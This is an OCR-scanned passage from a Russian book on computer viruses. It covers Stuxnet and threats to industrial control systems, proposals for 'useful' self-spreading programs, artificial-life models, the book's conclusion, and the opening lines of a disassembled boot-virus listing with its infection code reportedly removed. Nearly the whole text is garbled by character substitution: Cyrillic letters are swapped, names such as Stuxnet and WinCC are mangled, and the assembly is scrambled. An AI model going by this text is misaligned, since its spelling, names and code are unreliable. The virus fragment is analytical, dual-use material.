Рис. 7.60 ❖ Типичная структура АСУ ТП

процессн. Возможно, именно это и произошло летом 2003 года во вре- 
мя развития эпидемии червя ^е£-\№эгт.М5Ъ1а51, когда значительная 
часть Канада и востока США на сутки остались без электричества. 
Имеется немало сообшений о проникновении червей в корпоратив- 
нме сети заводов, электростанций и даже на МКС1. Впрочем, никаких 
серьезнмх последствий, кроме нервного смеха сетевнх администра- 
торов, эти проникновения не вмзнвали. Методн борьбн с такими ви- 
русами и червями традиционнн.

Интересно и важно обсудить другой вопрос: могут ли сушествовать 
компьютернне вирусн и черви не в корпоративной сети, а на про- 
мьхшленннх контроллерах и в промншленннх сетях? В принципе, да. 
Используемме на этом уровне операционнне системм и сетевме про- 
токолм простн, хорошо документированн, тшательно протестирова- 
нн на противодействие случайннм сбоям, но совершенно не завди- 
шенн от «злонамереннмх» атак. В частности, саморазмножаюшиеся 
программн типа вирус-«спутник», «оверлейний» вирус и «файловий

1 В 2008 г. это сделал примнтивннй файловий червь Сашш1ша.АС, он же 
\У1п3 2 .Кхап11.г, предназначеннмй для похшцения паролей к ко.чшьютер- 
ннм играм.
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паразит» прекрасно чувствуют себя в Р051Х-совместимнх операци- 
оннмх системах реального времени [ 16]. «Классические» антивирусн 
типа «сканер», «монитор> и «инспектор» этим системам категориче- 
ски противопоказанн, так как могут приводить к непрогнозируемьш 
задержкам, блокировкам работн программннх компонентов и т. п. 
В АСУ совсем другие приоритетн. Что допустимо в офисной работе, 
скорее всего, приведет к фатальньш нарушениям процесса автомати- 
зированного управления.

Но не все так плохо. Номенклатура используемьгх на практике 
сетей, промьшленннх контроллеров, процессоров и операционннх 
систем реального времени настолько обширна, что невозможно соз- 
дать какой-нибудь более или менее «универсальньга» вирус. Кро- 
ме того, попасть в промьшленную сеть или на контроллер он мо- 
жет только стараниями вооруженного нозтбуком и кабелем связи 
злоумншленника-«инсайдера», то есть работника предприятия. Вот 
почему на уровне локального управления наиболее действеннн про- 
тив вирусов не антивирусн или зашитнне «надстройки» операцион- 
ннх систем, а тактика «изоляционизма» и организационного ограни- 
чения доступа посторонних лиц к критически важннм компонентам 
АСУ.

Внходит, несмотря на потенциальную уязвимость промншленннх 
АСУ, вирусм и черви гораздо менее опаснн, чем воздействия со сторо- 
нь1 «живмх» злоумншленников? Да, таконо и бнло -  до лета 2010 го- 
да, пока не бнл обнаружен «многоплатформенннй» червь Не4-ЛУогш. 
\Уш32.84ихпе1.

На первий взгляд, это бнл вполне обнчньгй червь, способннй рас- 
пространяться с флэшки на флэшку и «гулять» по локальной сети. 
Однако доскональннй анализ, проведенннй сначала сотрудниками 
белорусской компании «ВирусБлокАда», а потом и крупнейшими 
вирусологами мира, показал, что в алгоритм червя бьш заложен еше 
один, «секретньш» функционал, пробуждаюшийся далеко не всегда 
и не везде.

Этот функционал бнл способен активироваться лишь при соблю- 
дении довольно жестко очерченннх условий, -  а именно: при по- 
падании червя в локальную сеть, обслуживаюшую ЗСАВА-систему 
\У тС С  одной-единственной, строго определенной версии. Под 
управлением этой ЗСАОА-системн работает большинство АСУ ТП 
в Европе и значительная часть АСУ ТП стран СНГ, но «проснулся» 
бн червь лишь в сети АСУ ТП Иранской атомной электростанции 
в г. Бушере. Проникать на уровень промншленной сети, к конт-
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роллерам червь не умел, но это ему и не требовалось. Дело в том, 
что средства визуализации ЗСАОА-системм \МпСС работают под 
управлением \¥ 1П(1о%'5 , а поддержка служебнмх баз даннмх ведется 
средствами М5 5£)Ь 5егуег. Червь ^е1-\Уопп.Л¥1п32.5(;ихпе(; бнл 
способен встраиваться в динамические библиотеки \¥ 1пСС и вно- 
сить искажения в пакетн данннх, приходяшие и отснлаемне на уро- 
вень проммшленннх контроллеров. В результате оператор 5САОА- 
системн наблюдал бн недостоверную картину происходяшего на 
управляемой установке, и наоборот, на установку передавались бн 
невернне командн5.

Таким образом, червь ^еЬ-^Уогт.^УтЗ^.ЗЬихпеЬ представлял со- 
бой первьш в истории официально зарегистрированньш образец 
«кибероружия», ориентированного на промншленнне диверсии. 
Привел ли он к реальннм сбоям, неизвестно, но развитие Иранско- 
го ядерного проекта оказалось приторможено на несколько месяцев. 
Более тшательнне исследования кода червя открнли поразительнне 
обстоятельства.

Во-первнх, №£-\Уогт.\Ут32.81ихпе* содержал ряд «инновацион- 
ннх» методик распространения, например умел стартовать с флэшки 
не только через «А11ТОК1Ш.П\тҒ», ночерез «ярлмчки» (файлн с рас- 
ширением «.ЬКК»).

Во-вторнх, червь инсталлировал в систему свои вредоноснне 
драйверн, подписаннне легальннми сертификатами респектабель- 
ннх фирм Кеакес 5еппсоп(1ис(:ог и_|писгоп. Видимо, его атаку предва- 
ряла компания «кибершпионажа», вьтолненная заблаговременно по 
всему миру средствами других червей и троянских программ и не за- 
меченная вирусологами. Именно более ранние «зловредн» похитили 
секретную информацию из лабораторий и офисов Кеа11ес и ̂ гшсгоп. 
Не исключено, правда, что это сделали «живне» шпионн.

Наконец, и это, пожалуй, самое главное: червь имел «модульное» 
строение -  состоял из отдельннх, внсокосложннх, твдательно отла- 
женньгх «деталек», которьге, как оказалось, по крайней мере с 2006 го- 
да, встречались в составе друшх вредоносннх программ. К осени 
2 0 1 2  года вьхяснилось, что сушествует и постоянно совершенствуется 
огромннй «конструктор», на базе которого строятся черви, вирусн и 
троянские программн (Юи^и, Ғ1ате, Оаих» и прочие), способнне раз- 
множаться через разнне носители и сетевне протоколн, подделнвать

'■ В случае успеха атакованьг били бн спстемн управленпя двигатедями 
центрифуг, занпмаювдпхся обогавдением урана.
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электронно-цифровме подписи, похишать, уничтожать и блокиро- 
вать данньхе и многое-многое другое. Работают над совершенствова- 
нием «конструктора» не только опмтнне системнне программистн, 
но и математики с серьезной криптографической подготовкой. Эти 
вредоноснне программн не внзьшают массовнх эпидемий, наоборот, 
их распространение тшательно контролируется анонимннми хозяе- 
вами. Заражению подвергаются лишь ■«избраннне» компьютерн на 
территории нескольких стран. Вот почему вирусологи так долго ни- 
чего не знали о «кибервойне», начатой несколько лет назад неизвест- 
но кем и неизвестно против кого.

Итак, «Я 1ц и к  Пандорн» открнт, джинн из бутнлки внпушен, «ки- 
бероружие» появилось в арсенале не только «вандалов» и «кибербан- 
дитов», но и спецслужб различннх государств. Чего нам ждать и как 
нам бнть?

Прежде всего не паниковать. Ведь описанная атака на АСУ ТП -  
«штучньш товар». Ей предшествовала длительная подготовка, внпол- 
ненная как «хакерскими», так и чисто «агентурннми» методами. Тех- 
нологии, применяемне анонимньши авторами 51ихпе1, Би^и, Ғ1ате 
и Саи5 $ (например, искусственная генерация коллизий в крипто- 
графических хеш-функциях), очень сложнн и вряд ли реализуемн 
в больших масштабах. Таким образом, массовмх диверсий на пред- 
приятиях мира в ближайшее время вряд ли стоит ожидать. А избе- 
жать их в будухцем, по-видимому, поможет переход критически важ- 
ннх сегментов корпоративннх сетей уровня 5САОА на зашишеннне 
операционнне системь1, слабо подверженнне «кибератакам», -  на- 
пример, на клонн ПН1Х1. В области же операционннх систем реаль- 
ного времени, видимо, вообше ничего делать не надо -  просто еше 
жестче контролировать доступ посторонних в машинннй зал, к конт- 
роллерам. В конце концов, опьгг борьбн с «диверсантами абвера» 
у нас имеется немальш. Шутка. А может бнть, и нет.

С другой сторонн, секретннй функционал может бнть скрнт не 
только в сложннх 54ихпе1-подобннх червях. Ежедневно обнаружи- 
ваются сотни и тнсячи «обнчннх» вредоносннх программ, ежегод- 
ннй их прирост исчисляется уже сотнями тасяч. Вирусологам не 
хватает ни рабочих рук, ни времени, чтобн досконально исследовать 
их «внутренности». Кроме того, механизм сокрнтия «секретного»

1 1]\'1Х-версин ЗСАЭА-пакетов сушествуют в достаточном колнчестве, 
просто пока не пользуются популярностью.
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функционала от взгляда вирусолога известен: методш асимметрич- 
ной криптографии, шифрм типа К5А и ВНЕ. В результате никто не 
может поручиться, что какой-нибудь внешне тривиальнмй вирус или 
червь, являюшийся частью ботнета и в обьинмх условиях расснлаю- 
ший «мирньш» спам, при наступлении «дня Д» и «часа Ч » не сбросит 
свою маскировочную личину и не совершит «теракт». Кто сказал, что 
миллион внезапно «зависших» компьютеров на телефонньпс комму- 
таторах, вокзалах, в банках, аэропортах, больницах и офисах -  это ме- 
нее опасно, чем один взрнв на ядерной электростанции?!

Но эта угроза не нова. И парируется она при помовди обьганнх, 
давннм-давно разработанннх и применяеммх на практике антиви- 
русннх технологий, которне подробно обсуждались в натей книге. 
Чтобн справиться с киберугрозами подобного типа, не нужнн «ки- 
бертанки» и «киберракетн», достаточно вполне обнчного, грамотно 
настроенного антивируса.

7.6.2. Полезнме применения вирусов
Жизнь -  одна из самнх таинственннх загадок природн. Немудрено, 
что с глубокой древности человек интересовался: что есть жизнь? Как 
она возникла? Познаваема ли она? Управляема? Но однозначнне от- 
ветн не полученн до сих пор.

Одно из обвдепринятнх определений живого сувдества рассматри- 
вает его как устойчивую систему, характеризуюшуюся обменом ве- 
вдеств со внешним миром и способностью к самовоспроизведению на 
основе передачи наследственннх свойств.

По поводу возникновения жизни на Земле сушествуют различнне 
точки зрения:

О  «креационизм» -  жизнь создана внсшими силами;
О «панспермия» -  жизнь во Вселенной сушествовала всегда и за- 

несена на Землю извне;
О «биогенез» -  жизнь на Земле сувдествовала всегда, и любне ее 

новне формн суть |)езультать1 модификации и развития старнх;
О «абиогенез» -  жизнь есть результат удачного соединения хи- 

мических молекул и дальнейшего развития.
Первме две обсуждать не имеет смнсла. Гипотезу «креациониз- 

ма» нельзя ни доказать, ни опровергнуть -  в нее можно только сле- 
по верить или не верить. «Панспермия» же просто переносит вопрос 
о возникновении жизни за пределн Земли. Таким образом, все равно 
придется внбирать между двумя альтернативами: может жизнь воз-
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никнуть из мертвой материи или нет? Спор между «биогенетиками» 
и «абиогенетиками» не утихает многие тнсячелетия.

На стороне первмх -  наблюдения за окружаюшим миром. На на- 
ших глазах все живое происходит только из живого. Звери рожают 
друг друга, растения размножаются семенами, грибн -  спорами, 
клетки -  путем деления и т. п. О тпе \т\'и т ех о у о  (все живое из яйца), 
и никак иначе.

На стороне вторнх -  научние даннне и логика. Живая материя 
состоит в точности из тех же элементов, что и неживая, только орга- 
низованннх в единую систему весьма замнсловатнм образом. Сразу 
после Большого взрнва, создавшего нашу Вселенную около 13 млрд 
лет назад, основннм способом сушествования материи бнл хаос, 
а ньгаешнее ее состояние -  результат длительного последовательного 
развития и упорядочивания. Сначала появились излучения и элемен- 
тарнне частицн, потом атомн и молекулн, и очень нескоро -  сгустки 
вешества, галактики, звездн и планетн. Неужели в этом царстве хаоса 
с самого начала, еаде до возникновения вешества, сразу сушествовали 
островки сложно организованной материи, положившие начало жиз- 
ни? А если не сушествовали, то, значит, возникли все-таки позже, ког- 
да для этого сложились соответствукмцие условия. То есть возникли 
из мертвого вешества. Но как?

Критерий истинн -  практика. Но пока ни разу не удалось пронаб- 
людать зарождение живого, например, из водн, песка и глинн. Идеи 
академика А. И. Опарина (1924 г.) о самопроизвольном возникно- 
вении жизни из бульона органических вешеств пь!тались проверить 
опнтннм путем: в 1953 году американец С. Миллер поместил в кол- 
бу смесь неорганических вешеств, примерно соответствуюшую по 
химическому составу океану древней Земли, и создал подходяшие 
физические условия -  давление, температуру, электрические разря- 
дн и т. п. Через некоторое время в колбе обнаружились органические 
соединения -  простейшие кирпичики, из которнх, в принципе, и со- 
стоит жизнь: аминокислота, сахара, липидн и прочее. Но «коацерва- 
тн» -  автономнне капельки органики, обмениваюшиеся вешеством с 
окружаюшей средой, которне А. И. Опарин рассматривал в качестве 
возможной «протожизни», -  так и не возникли. Стало ясно. что опнт 
Миллера обосновьюает лишь принципиальную возможность синтеза 
органики из неорганики, но, как это ни прискорбно, не отвечает на 
вопрос о конкретном механизме порождения жизни. Более поздние 
открнтия продемонстрировали, что живая материя -  это сложней- 
шая система, своего рода «пазл», состояший из огромного количества
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тхцательно подогнаннмх друг к другу химических «деталей». Причем 
система не статичная, а развиваюшаяся, модифицируюшаяся и само- 
воспроизводяшаяся по определенной «программе». И «программа» 
эта хранится не на дискетке, не на флэшке, а закодирована в структуре 
сверхсложной молекулн дезоксирибонуклеиновой кислотъ! (ДНК).

Итак, оказалось, что живую материю можно рассматривать как свое- 
образньш компьютер, работаюший по определенной программе. Не 
означает ли это, что, оставив за скобками вопрос о личности и сушно- 
сти «Великого программиста», можно попьггаться решить проблему 
«абиогенеза», зайдя с другой сторонн: смоделировав жизнь на ЭВМ?

Первне модели подобного рода восходят к работе фон Неймана 
«Теория самовоспроизводяшихся автоматов» [25]. В 1948 г., рас- 
смотрев схему гипотетического саморазмножаюшегося робота, фон 
Нейман пришел к вмводу, что сушествуюшие на тот момент техно- 
логии не способнн реализовать искусственнне нейронн, проводни- 
ки и переключатели нервнмх импульсов, ммшцм, трансформаторн 
энергии и прочее. В дальнейшем он сконцентрировал внимание на 
более абстрактннх моделях, которне могли бм бнть воспроизведе- 
нн на ЭВМ. Он разработал некое обобвдение машинм Тьюринга: аб- 
страктннй внчислитель, ячейки которого располагались не на ленте, 
а на расчерченной на клеточки плоскости. Предположив, что каждая 
ячейка может находиться в одном из 29 состояний, фон Нейман напи- 
сал несколько «программ» для такого внчислителя, в том числе и та- 
ких, которне бнли способнн обмениваться информацией с другими 
«программами» и создавать собственнне копии, то есть вести себя по- 
добно живььм сушествам. Позднее, на основании идей фон Неймана 
бнло создано большое количество разнообразннх моделей «живнх» 
автоматов, как более сложннх, так и весьма простнх. Широко извес- 
тен, например, клеточньга автомат «Жизнь» Дж. Конвея:

О  пространство расчерчивается на клеточки;
О  каждая клеточка может находиться всего в двух состояниях -  

«пусто» и «не пусто» («занято»);
О пустая клеточка, имеюшая трех ненустмх соседей, сама стано- 

вится непустой;
О занятая клеточка, имеюшая двух или трех занятмх соседей, 

остается занятой;
О занятая клеточка, имеюшая одного или более трех соседей, ста- 

новится пустой.
Расположив в различннх клеточках некоторое количество «фи- 

шек», а затем анимируя «сцену» в соответствии с описаннмми вмше
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правилами, можно получать очень любопьггнме конфигурации, 
моделируювдие размножение и гибель живмх особей и популяций. 
Большинство конфигураций через определенное количество шагов 
полностью исчезают, некоторне переходят в устойчивое состояние, 
перестав видоизменяться (например, «блок» или «бадья»), Наибо- 
лее интереснм конфигурации, которме продолжают сувдествовать 
вечно, либо «пульсируя» с определеннмм периодом (например, «ми- 
галка» или «жаба»), либо перемевдаясь в пространстве (например, 
«глайдер»). Кстати, «глайдерн» имитируют принцип «панспермии»: 
наткнувшись на статичную конфигурацию, они могут «взорвать» 
ее, породив при этом несколько нових «глайдеров». Интересно, 
что клеточнмй автомат «Жизнь» снабжает аргументами не только 
«абиогенетиков» и «панспермистов», но и «креационистов». В част- 
ности, сувдествуют сложнме конфигурации (так назнваемме «рай- 
ские садн»), которне могут бнть создани только искусственно, так 
как не имеют легальннх, не нарушаювдих первоначальннх правил, 
предшественников.

Сувдествуют также трехмернме и п-мернне вариантн этого кле- 
точного автомата. «Жизнь» Конвея оказала заметное влияние на 
развитие некоторнх разделов математики, информатики и физики. 
Но главное, она обосновнвает возможность сушествования сложннх 
самовоспроизводявдихся систем, построенннх из простнх кубиков 
по простнм правилам. Возможно, процессм, приведшие к созданию 
«сувдества» из «вевдества», в чем-то бнли схожи с модификациями 
конфигураций на игровом поле «Жизни». Как бм то ни бьхло, «кибер- 
нетический» подход к моделированию живой материи оказался очень 
плодотворннм.

Следуювдие шаги в этом направлении бнли связанм с попьггка- 
ми усложнить содержимое ячеек, придать им автономность. Вместо 
«фишек» стали рассматриваться работаювдие по определенному ал-

Блок Бадья Мигалка Жаба Гпайдер

Рис. 7.61 ❖ Примерм объеетов 
клеточного автомата «Жизнь»
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горитму программм. Собственно говоря, это уже и бшга компьютер- 
нме вируси. Некоторне ранние эксперименти, связаннме с самораз- 
множаювдимися программами, бнли упомянутм ранее на страницах 
нашей книги:

О это и программистские игрм типа «Дарвин» (1961), «Соге 
%гаг5» (А. Дьюдни, 1983) и «С гоЬо1з» (Т. Пойндекстер, 1985), 
в котормх конкурируют за жизненное пространство и даже 
воюют друг с другом написаннне людьми программн;

О это и червь-шутка «Сгеерег», перетаскиваювдий себя с компью- 
тера на компьютер локальной сети (Б. Томас, 1973);

О  это и червь «Хегох», распространяювдийся по узлам сети и ис- 
пользуювдий в минутн простоя их внчислительнне ресурсн 
(1980);

О и, наверное, мноше другие разработки, сведения о которнх 
просто не дошли до нас.

Таким образом, компьютернне вирусн -  не бесполезная забава, не 
вредоносное изобретение злобннх хакеров, а неизбежннй этап в про- 
цессе моделирования живой материи. То, что они не задержались 
в вьмислительнмх лабораториях, а оказались в «живой природе», яв- 
ляется лишь свидетельством технологической простотн их создания. 
Если идея настолько проста, что может бнть реализована «вручную» 
и «на коленке», то это обязательно произойдет.

А что же другие направления в моделировании живой материи -  
«химическое» и «механическое»? Неужели они заглохли после отно- 
сительнмх неудач серединн XX века? Действительно, в течение не- 
скольких десятилетий эти направления почти не развивались, будучи 
скованн технологаческими ограничениями. Но в конце XX века мно- 
гие из этих ограничений бнли преодоленн, и в результате произошел 
настоявдий взрнв новнх открьггий и изобретений.

Например, в 1990-х годах бнли расшифрованн геномн простмх жи- 
внх сувдеств, то есть определенн последовательности составляювдих 
их деталек-нуклеотидов. А в 2003 году такая же работа бнла завер- 
вдена для человеческого генома. Все это позволило создать компью- 
терную модель примитивной клетки и проэмулировать репликацию 
ДНК (Д. Шостак, 2007), а чуть позже в университете Беркли создана 
универсальная инструментальная среда для таких внчислительннх 
экспериментов (Дж. Кислинг, 2011). Также искусственно создани 
ДНК-подобнне молекулм, умеювдие воспроизводить себя (П. Чай- 
кин, 2011). Химически синтезирован, пересажен в бактерию и нор- 
мально работает искусственньш геном (К. Вентер, 2010).



Не стоит на месте и «механическое» направление. Смотрите: на 
столе стоит башенка из трех кубиков -  небольших, на вид пластмас- 
совьхх, напоминаюших детали детского конструктора «Лего».
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Рис. 7.62 ❖ «Живие» роботи

Вдруг она падает, но не рассмпается, а, жужжа сервомоторчиками, 
начинает изгибаться в разнне сторонн, подобно гусенице. Коснув- 
шись другого такого же кубика, спокойно лежашего на столе рядом, 
она прицепляет его к себе, и дальше окружаюшее пространство начи- 
нает обследовать уже цепочка из четнрех кубиков. Обнаружив непо- 
далеку новне детали, «механический червяк» также присоединяет их 
к своему телу. Когда количество кубиков достигает шести, раздается 
шелчок -  и цепочка распадается на две одинаковне половинки, в каж- 
дой по три кубика. Дальше они будут «питаться» и «размножаться» 
автономно.

Что это? Эпизод из научно-фантастического фильма? Нет, это ро- 
лик, которий демонстрирует работу самовоспроизводяшихся робо- 
тов, сконструированннх в 2005 году в Корнелльском университете. 
К сожалению, эти роботн способнн строить свои тела из заранее за- 
готовленннх человеком кубиков. Зато созданньш в Великобритании 
робот «КерКар» умеет изготавливать детали, из которнх сам же и со- 
стоит. И нет принципиальннх ограничений, которне не позволили 
6н «скрестить» роботов этих двух типов.



Перспекггивь! раза/ггия и использования компьютернь!х вирусов ❖ 619

Не исключено, что через несколько лет по нашим подвалам и ка- 
нализациям, скрипя шестеренками, побегут механические крнси и 
тараканн. Вот тогда-то мн со слезами умиления вспомним, до чего 
же спокойно и безопасно бнло в эпоху компьютерннх вирусов!

Конечно, это шутка. Но шутка, заставляюшая глубоко задуматься 
над перспективами искусственной жизни. Впрочем, далеко в будуадее 
заглядьгвать пока не стоит. «Механическая» и «химическая» жизнь 
пока делают первне шаги, и неизвестно, что из этого получится, зато 
«компьютерная» почти четверть века копошится на наших винчесте- 
рах и в сетях. Вот о ней и поговорим.

Следует отметить, что, несмотря на довольно длительньга срок 
сушествования саморазмножаювдихся программ в «дикой приро- 
де», проведенн далеко не все «экспериментн» по моделированию 
«компьютерной жизни». Если на самопроизвольное зарождение ви- 
русов путем спонтанной мутации отдельннх битов в «нормальннх» 
программах никто серьезно не надеялся, то уж различнне «жизнепо- 
добнне» аспектн размножения смоделировать стоило. Что я имею 
в виду?

Итак, создание копии для программн и перемеадение ее на друтой 
компьютер («вручную» или по сети) вирусописателями успешно ос- 
воено, а вирусологами хорошо изучено. К сожалению, на этой модели 
можно лишь изучать деление инфузорий и распространение гриппа.

Далее, моделирование полового размножения, характерного для 
внсших животннх, фактически не состоялось. Идея такого экспери- 
мента бнла продемонстрирована, но на практике не реализована. По 
крайней мере, «медленнмй» Б05-вирус К^М 5 даже крохотной эпи- 
демии не внзвал, а в эпоху сетевнх червей, когда, собственно говоря, 
интереснейшая статистика и могла бнть сформирована и получена, 
об этой идее никто не вспомнил.

Та же история произошла и с «медленннм полиморфиком» 
Ркипк.1586. Напомним: вирус таскает с собой «дремлюадий гене- 
тический материал» (зашифрованнне вариантн кода) и мутирует 
лишь изредка, когда внешние условия совпадают с ключом расшиф- 
рования. Впрочем, эпидемии вируса, заражаюадего файлн в текуадем 
каталоге, ждать не приходится. А между тем интересно бнло бн по- 
смотреть на статистику различннх мутаций в масштабах нескольких 
сотен и тнсяч экземпляров.

Еаде интересней внглядела бн статистика, собранная по результа- 
там эпидемии гипотетического червя, реализуюадего идею скреади- 
вания, то есть объединения генетического материала двух особей с
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целью получения новой разновидности. Представим себе, что каждая 
операция, реализуемая вирусом (например, поиск целей для зара- 
жения, откритие файла, установка связи с узлом сети и т. п.), может 
бмть реализована несколькими разньши способами, организован- 
ньши в виде программньхх «кубиков ЬЕСО». Когда два экземпляра 
вируса встречаются на одном компьютере, то они случайннм обра- 
зом обмениваются «кубиками» и дальше путешествуют уже в моди- 
фицированном виде. Нечто подобное используется в современнмх 
«ботнетах», когда два «зомбированннх» компьютера случайно обме- 
ниваются адресами чсоседей». Но цель-то -  затруднить обнаружение 
управляюших центров, откуда зараженннм узлам по сети передаются 
инструкции. А вь! наивно подумали, что вирусописатели занялись- 
таки моделированием компьютерной жизни?

'Мужской"
вирус

вирус

Рис. 7 .63  ❖ Модели компьютернмх вирусов, 
используюших наследование свойств: а) двуполий вирус ^№N5;

б) медленнмй полиморфик Ркипк; в) генетический мутант

Кстати, а нельзя ли обойтись для подобннх экспериментов не- 
которнм количеством специально вьвделенннх машин? Например, 
несколько лет назад во Владимирском госуниверситете образовали 
специальную «модельную среду» для изучения распространения 
червей, установив на каждом из десятка компьютеров по четнре вир- 
туальнне машинн. Мало? Имея желание и еоответствуювдие финан- 
совне возможности, можно взять сто компьютеров или тнсячу. Но 
кое-что плохо поддается моделированию -  это факторн, влияюшие 
на распространение и размножение: различия в аппаратуре, в версиях 
операционньхх систем, в установленном программном обеспечении.
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в конфигурациях файловнх систем, в неоднородннх сетевмх про- 
токолах и т. п. Если жизнь на Земле возникла все-таки в результате 
«химической эволюции», то Природа экспериментировала в много- 
численннх лужицах с разньш химическим составом, а не в миллионе 
копий одной и той же лужицн.

Хотелось бн, чтобн меня поняли правильно. Я не признваю к 
написанию вирусов и дальнейшей эскалации проблеми вредоносннх 
программ. В конце концов, все самое плохое уже произошло. Вирусн 
давньш-давно живут и размножаются в «дикой природе». Злоумьпи- 
ленники десятки лет используют их в своих грязннх целях на всю 
катушку, но почему-то мало кому приходит в голову применить их 
на пользу человечеству. Скорее всего, виноват ложннй имидж «вре- 
доносности» и «бесполезности», приписанннй компьютерннм виру- 
сам. А между тем вирусннй принцип распространения программ и 
данньгх чрезвнчайно эффективен и мог бн принести немало пользн.

Если же кого-то смувдают свойства «несанкционированности». 
«неконтролируемости» и «вредоносности» компьютерннх вирусов, 
то ведь от них легко избавиться! Представьте себе некое «огорожен- 
ное место», виртуальную машину, создаваемую и поддерживаемую 
операционной системой на каждом компьютере специально для вн- 
полнения самораспространяюшихся программ. Она заведомо ис- 
пользует заранее оговоренную часть внчислительннх ресурсов (па- 
мяти, дискового пространства, процессорного времени и прочего) и 
никак взаимодействует с ресурсами, внделенннми для «нормаль- 
ннх» программ. Именно подобного принципа в свое время не хватало 
червю «Хегох \уогт». В эту машину попадают и в ней вьшолняются 
только вирусьЕ и черви, содержавдие электронно-цифровне подписи 
от М1сго8оЙ;, 1ВМ, Лаборатории Касперского и прочих. Все же «не- 
легальнне» вирусн автоматически блокируются на входе или унич- 
тожаются внутри.

Если нужно бнстро передать какое-то важное для всей сети сооб- 
шение или патч для программного обеспечения, то вместе с ними на 
ваш компьютер попадет маленькая «вирусная» программка, которая 
будет заниматься дальнейшей расснлкой. Благодаря такому подходу 
«поснлка» распространится по всему Интернету воистину со скоро- 
стью «червя Уорхола», то есть за четверть часа. Соответственно, бот- 
нетн, спам и эпидемии «диких» вирусов будут подавляться и уничто- 
жаться с такой же скоростью [70].

Полезна будетподобная возможность и втомслучае, если вн хотите 
поучаствоватъ в каком-нибудь проекте, требукяцем распределенннх
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вьмислений. Например, так можно промоделировать упомянутне 
вмше «половое размножение» и «скрешивание», поискать внеземной 
разум (проект 5ЕТ1@НОМЕ) или числа Мерсенна (проект С1М5). 
В настоявдее время все это тоже возможно, но только после долгих со- 
гласований, установки на вашем компьютере специальной програм- 
мь1-клиента (например, используемого в рамках технологии В01МС) 
и т. п. В случае же, если на вашем компьютере установлен «хлев для 
вирусов», то вам не нужно будет ни о чем беспокоиться: чвьмисли- 
тельнне вирусн» будут занимать и покидать его самостоятельно, на- 
пример по определенному расписанию.

Хивдники, грибки-паразить1 и компьютернне вирусн долго отрав- 
ляли нам жизнь. Но потом мн приучили дикого волка и воспитали из 
него своего лучшего друга -  собаку. Плесневне грибки не только пор- 
тят наши продуктн, но и в виде пенициллина и иннх антибиотиков 
ведут борьбу за наше здоровье.

Не настала ли пора приручить и применять во благо себе компью- 
терньте вирусн?



ЗАКЛЮЧЕНИЕ
...О хот ник с усмеиосой рассмат ривал фото- 
графию, где возбуж денний нот чж  горделиво 
попирал мерт вое чудо&шце.

А. и Б. Стругацкие.
«Возвравдение» («Поддень. XXII век>)

Книга, последнюю страницу которой вн только что перевернули, бьма 
задумана очень давно -  в ту эпоху, когда в нашей стране Интернета 
евде не бьхло, среда \Утс1о\\'з считалась «графической оболочкой» для 
операционной системн МЗ-БОЗ, офиснме пакетн, игрн и утилитн 
переносились при помогци дискет, а вместе с ними на компьютерн 
проникали маленькие саморазлмножаювдиеся программки -  виру- 
сн. Шли годн, сменялись поколения вирусов, совершенствовались 
технологии и приемн их анализа, усложнялись и дорожали антиви- 
руснне программн. Усилиями малограмотньгх журналистов, неква- 
лифицированннх пользователей и назойливо-лживнх рекламшиков 
вокруг проблемн сформировался флер таинственности и непостижи- 
мости. Вьпила дюжина книг: одни пьггались научить любого желаю- 
шего писать примитивнне, давно устаревшие вирусн; другие убеж- 
дали покупать свежие версии антивирусньгх программ и не задавать 
лишних вопросов.

Книга, которая лежит перед вами, адресована желаюшим разо- 
браться в сути проблемн с позиций непредвзятости и объективности. 
Она впитала полуторадесятилетний опьгг исследования компьютер- 
ннх вирусов и наблюдений за развитием вирусннх и антивирусннх 
технологий.

Разумеется, книга не лишена недостатков. Почти наверняка она со- 
держит массу неточностей и ошибок. Вероятно, в ней не упоминается 
что-нибудь важное, о сушествовании чего автор даже и не подозре- 
вает. Возможно, при описании алгоритмов и математических моде- 
лей использованн слишком грубне упрошения. Не исключено, что 
к моменту внхода из печати даже самне «свежие» примерн устареют. 
Тем не менее если пнтливьш читатель, найдя удивившую его строчку, 
подчеркнет ее карандашиком, а потом полезет в учебник или справоч- 
ник и досконально изучит проблему, то автор будет только рад.

Наверное, будут радн не только сам автор, но и те, кто помогал 
ему разбираться в сложнмх вопроеах, снабжал информацией, под-
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держивал и вдохновлял. Вот они: А. Гостев, И. Дикшев, А. Каримов,
В. Кокарев, В. Колесников, А. Отенко, В. Руссу, а также }.-Р. Со<1е1,
В. Коледа, Д. Кульшицкий, О. Сьгч, В. ВДербак и Р. Халиуллин. Не- 
которие сложнью темм не могли бить о с в е в д е н н  без мимолетного, 
но плодотворного участия А. Дорфмана и А. Бажанюка. Нельзя не 
отметить любознательную Е. Орлову, которая, сама того не ведая, 
также повлияла на содержимое некоторнх разделов (прежде всего 
посвяшеннмх \Ут32-вирусам). Далеко не все, но значительная часть 
использованнмх в книге материалов -  вирусов, статей, алгорит- 
мов -  взята на уникальном интернет-ресурсе ух.пе<:1их.оге. поддер- 
живаемом удивительннм человеком по прозвишу ЬегтИ. Следует 
отдельно упомянуть, что основньхми сценами для драматических и 
комических собмтий, повлиявших на формирование авторских ин- 
тересов в области зашитм информации, послужили в 1990-х годах 
новостная конференция ге1сот.сотр.У1гия и компьютернне классм 
кафедрн информационннх систем и технологий Самарского аэро- 
космического университета.

Ну а посвятить эту книгу надо родньхм и близким -  и живьхм, и по- 
кинувшим наш мир. Без дополнительнмх комментариев.

С глубочайшим почтением и искреннейшей преданностию есмь, 
милостивне государи, ваш покорннй слуга -  Климентьев К. Е. ака 
Вггпа(1/Ъ}Ғ.
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ПРИЛОЖЕНИЕ

Листинги вирусов 
и антивируснь1х 

проиедур
1. Лисшнги компьютерньос вирусов
Листинги компьютерннх вирусов получени при помовди бесплатних 
и условно-бесплатннх версий утилит Н1Е\У (автор Е. Рошаль), ГОА 
(автор И. Гильфанов) и 5оигсег. Во всех листингах удаленн фрагмен- 
тм, отвечаювдие за заражение программ и внполнение вредоносннх 
действий, а также не относявдиеся к рассматриваемой теме.

1.1. Листинг загрузочного вируса 51опес1.Ал(|Ехе
0000 14Е940 51агг ]шр Веди

; Область слравочних данннх вируса
0003 01 аь ?
0004 0000 5ауе_СХ й» ?
0006 00 Зауе_он йЬ ?
0007 20 8ауе_АХ йм ?

; Блок параметров дискеть
ЙЬ 30 йир (?)

; Сигнатура "нелюбимой" программи
001Е 40 ЕХЕ31дп йЬ 8 йир (?)

; Это вирусний обработчик дискового прермвания. 
; Он получает управление при любой попмтке 
; обратиться к дискете или еинчестеру.
Ме»13:

тоу иогй ргг сз:5а«е_АХ,ах
; Сразу же переадресовать теедую операцию 
